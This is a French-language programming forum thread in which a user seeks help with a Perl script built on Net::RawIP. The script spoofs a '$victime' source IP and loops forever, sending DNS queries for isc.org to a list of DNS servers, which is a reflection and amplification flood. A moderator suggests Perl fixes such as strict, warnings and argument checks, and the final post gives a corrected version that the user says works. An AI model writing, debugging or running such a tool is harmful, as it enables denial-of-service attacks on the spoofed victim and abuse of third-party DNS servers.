IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Langage Perl Discussion :

[Net::RawIP] Erreur : host_to_ip: failed at /usr/local/lib/perl/5.14.2/Net/RawIP.pm line 481.


Sujet :

Langage Perl

  1. #1
    Membre à l'essai
    Homme Profil pro
    Administrateur de base de données
    Inscrit en
    Mai 2014
    Messages
    33
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 34
    Localisation : France, Hauts de Seine (Île de France)

    Informations professionnelles :
    Activité : Administrateur de base de données
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Mai 2014
    Messages : 33
    Points : 13
    Points
    13
    Par défaut [Net::RawIP] Erreur : host_to_ip: failed at /usr/local/lib/perl/5.14.2/Net/RawIP.pm line 481.
    Bonjour voila j'ai coder un scripts qui permet d'envoyer des packets sur des serveurs DNS
    je ne sais pas d’où vient cette erreur mais elle me gène énormément


    voici le code

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
     
     
    use Net::DNS;
    use Net::DNS::Packet;
    use IO::Socket;
    use threads;
    use Socket;
    use Term::ANSIColor; 
    use Net::RawIP; 
    use IO::Socket::INET;
     
    if ($#ARGV == 0) {
    print "Utilisation : perl sc.pl [IP]  [Liste]\n";
     
    exit(1);
    }
     
    my $victime = $ARGV[0];
    my $domaine = "isc.org";
     
     
    my $liste = $ARGV[3]; 
     open my $handle, '<', $liste;
        chomp(my @servers = <$handle>);
        close $handle;
    my $servers;
     
     
     
     
     
     
        while (1) {
            my $ip = $servers[ int( rand(@servers) ) ];
     
    my $dnspacket = new Net::DNS::Packet($domaine, "A", "IN");
    my $dnsdata = $dnspacket->data;
    my $sock = new Net::RawIP({udp=>{}});
    $sock->set({
    ip => {saddr => $victime, daddr => $ip, frag_off=>0,tos=>0,id=>1565},
    udp => {source => 53, dest => 53, data=>$dnsdata}
    });
    $sock->send;
     
        }


    Merci d'avance pour votre aide

  2. #2
    Rédacteur/Modérateur

    Avatar de Lolo78
    Homme Profil pro
    Conseil - Consultant en systèmes d'information
    Inscrit en
    Mai 2012
    Messages
    3 612
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Yvelines (Île de France)

    Informations professionnelles :
    Activité : Conseil - Consultant en systèmes d'information
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Mai 2012
    Messages : 3 612
    Points : 12 469
    Points
    12 469
    Billets dans le blog
    1
    Par défaut
    Sur la partie Réseaux, je ne peux pas vraiment t'aider, ça fait presque 20 ans que je n'ai pas fait de programmation réseau (à quelques rares exceptions près), et à l'époque je ne connaissais pas Perl (c'était surtout du C et un peu de Fortran).

    Mais sur ton code Perl, quelques remarques qui devraient pouvoir t'aider.

    Au vu du code, que tu as posté, je ne suis pas convaincu que tu aies besoin de tous ces modules:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    use Net::DNS;
    use Net::DNS::Packet;
    use IO::Socket;
    use threads;
    use Socket;
    use Term::ANSIColor; 
    use Net::RawIP; 
    use IO::Socket::INET
    En revanche, je t'incite fortement à ajouter dans tous tes programmes de plus d'une ligne les deux pragmas suivants (si tu ne les as pas déjà):

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    use strict;
    use warnings;
    Je pense qu'ils t'auraient sans doute donné des indications sur des erreurs dans ton code.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    if ($#ARGV == 0) {
    print "Utilisation : perl sc.pl [IP]  [Liste]\n";
    exit(1);
    }
    D'après la syntaxe proposée par le print, il faut au moins deux arguments. Le test devrait dont être au moins:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    if (@ARGV < 2 ) { # en contexte scalaire, @ARGV retourne ne nombre d'arguments
         #...
    }
    Mais la suite du prigramme:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
     
    my $liste = $ARGV[3];
    semble montrer qu'il faut au moins quatre arguments (@ARGV[0..3]). Donc le test devrait être:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    if (@ARGV < 4) { # en contexte scalaire, @ARGV retourne ne nombre d'arguments
         #...
    }
    Ensuite, le code suivant:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
     
    chomp(my @servers = <$handle>);
    close $handle;
    my $servers;
    est bizarre. Je me trompe peut-être, mais tu parais croire qu'il y a un lien entre @servers et $servers. Il n'y en a pas vraiment (ce sont des éléments différents de la table des symboles), mais c'est à mon avis une mauvaise idée d'utiliser @servers et $servers dans le même programme. Même si Perl sait en principe gérer, il y a un gros risque de confusion.

  3. #3
    Membre à l'essai
    Homme Profil pro
    Administrateur de base de données
    Inscrit en
    Mai 2014
    Messages
    33
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 34
    Localisation : France, Hauts de Seine (Île de France)

    Informations professionnelles :
    Activité : Administrateur de base de données
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Mai 2014
    Messages : 33
    Points : 13
    Points
    13
    Par défaut
    Apres quelques correction au niveau des use j'avais completement oublier warnings et strict
    j'ai changer le systeme d'argument et au final tout semble marcher vous pouvez le tester par vous meme

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
     
     
    #!/usr/bin/perl
    use strict;
    use warnings;
    use Net::DNS;
    use Net::DNS::Packet;
    use IO::Socket;
    use threads;
    use Socket;
    use Term::ANSIColor;
    use Net::RawIP;
    use IO::Socket::INET;
    my $PROG;
    ( $PROG = $0 ) =~ s/^.*[\/\\]//;
     
    if ( @ARGV == 0 ) {
            print "Utilisation : ./$PROG [Adresse IP] [Liste] \n\n";
     
        exit;
    }
     
     
    my $victime = $ARGV[0];
    my $domaine = "isc.org";
     
     
    my $liste = $ARGV[1];
     open my $handle, '<', $liste;
        chomp(my @servers = <$handle>);
        close $handle;
    my $servers;
     
     
     
     
     
     
        while (1) {
            my $ip = $servers[ int( rand(@servers) ) ];
     
    my $dnspacket = new Net::DNS::Packet($domaine, "A", "IN");
    my $dnsdata = $dnspacket->data;
    my $sock = new Net::RawIP({udp=>{}});
    $sock->set({
    ip => {saddr => $victime, daddr => $ip, frag_off=>0,tos=>0,id=>1565},
    udp => {source => 53, dest => 53, data=>$dnsdata}
    });
    $sock->send;
     
        }

Discussions similaires

  1. Réponses: 2
    Dernier message: 30/09/2014, 22h16
  2. Réponses: 3
    Dernier message: 03/08/2011, 12h01
  3. Réponses: 1
    Dernier message: 18/06/2009, 18h25
  4. Réponses: 4
    Dernier message: 31/03/2005, 17h55
  5. [VB.NET] Compilation : erreur de copie de la dll
    Par necro dans le forum ASP.NET
    Réponses: 7
    Dernier message: 04/02/2004, 13h16

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo